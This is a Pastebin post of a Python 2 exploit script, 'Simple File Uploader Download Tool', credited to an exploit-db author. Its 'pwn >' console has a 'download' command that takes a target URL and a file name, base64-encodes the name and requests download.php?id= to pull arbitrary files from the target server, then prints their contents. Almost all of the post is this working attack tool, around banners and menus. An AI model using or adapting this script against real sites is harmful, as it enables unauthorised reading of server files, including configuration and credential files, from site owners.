hielasangre

Simple File Uploader Download Tool

Apr 27th, 2017
483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.43 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import os,re,requests,time,base64
  3. os.system('clear')
  4.  
  5. BLUE = '\033[94m'
  6. RED = '\033[91m'
  7. GREEN = '\033[32m'
  8. CYAN = "\033[96m"
  9. WHITE = "\033[97m"
  10. YELLOW = "\033[93m"
  11. MAGENTA = "\033[95m"
  12. GREY = "\033[90m"
  13. DEFAULT = "\033[0m"
  14.  
  15. def banner():
  16.     print WHITE+""
  17.     print "                                              ##          ## "
  18.     print "                                                ##      ##    "    
  19.     print "                                              ############## "
  20.     print "                                            ####  ######  #### "
  21.     print "                                          ###################### "
  22.     print "                                          ##  ##############  ##     "
  23.     print "                                          ##  ##          ##  ## "
  24.     print "                                                ####  ####"
  25.     print ""
  26.  
  27. def details():
  28.     print WHITE+"                              =[" + YELLOW + "Simple File Uploader Download Tool v1.0.0 "
  29.     print ""
  30.  
  31. def core_commands():
  32.     os.system('clear')
  33.     print WHITE+'''Core Commands\n===============\n
  34. Command\t\t\tDescription\n-------\t\t\t-----------\n
  35. ?\t\t\tHelp menu
  36. quit\t\t\tExit the console
  37. info\t\t\tDisplay information
  38. download\t\t\tExploit Vulnerability
  39.  
  40.     '''
  41.  
  42. def about():
  43.     os.system('clear')
  44.     print WHITE+'''Simple File Uploader Download Tool v1.0.0 \n===============\n
  45. Author\t\t\tDescription\n-------\t\t\t-----------\n
  46. Daniel Godoy\t\thttps://www.exploit-db.com/author/?a=3146
  47.     '''
  48.  
  49. def download():
  50.     other = 'a'
  51.     while other != 'n':
  52.             urltarget = str(raw_input(WHITE+'Target: '))
  53.             filename =  str(raw_input(WHITE+'FileName: '))
  54.             filename =  base64.b64encode(filename)
  55.             print RED+"[x]Sending Attack: "+WHITE+urltarget+'download.php?id='+filename
  56.             final = urltarget+'download.php?id='+filename
  57.             r = requests.get(final)
  58.             print r.text
  59.             other = str(raw_input(WHITE+'Test other file? y/n: '))
  60.             if other == "n":
  61.                 print "Type quit to exit. Bye!"
  62.  
  63.  
  64.  
  65. banner()
  66. details()
  67.  
  68. option='0'
  69. while option != 0:
  70.     option = (raw_input(RED+"pwn" + WHITE +" > "))
  71.     if option == "quit":
  72.         os.system('clear')
  73.         option = 0
  74.     elif option == "?":
  75.         core_commands()
  76.     elif option == "help":
  77.         core_commands()
  78.     elif option == "about":
  79.         about()
  80.     elif option == "download":
  81.         download()
  82.     elif option == "info":
  83.         about()
  84.     else:
  85.         print "Not a valid option! Need help? Press ? to display core commands " +GREEN
Add Comment
Please, Sign In to add comment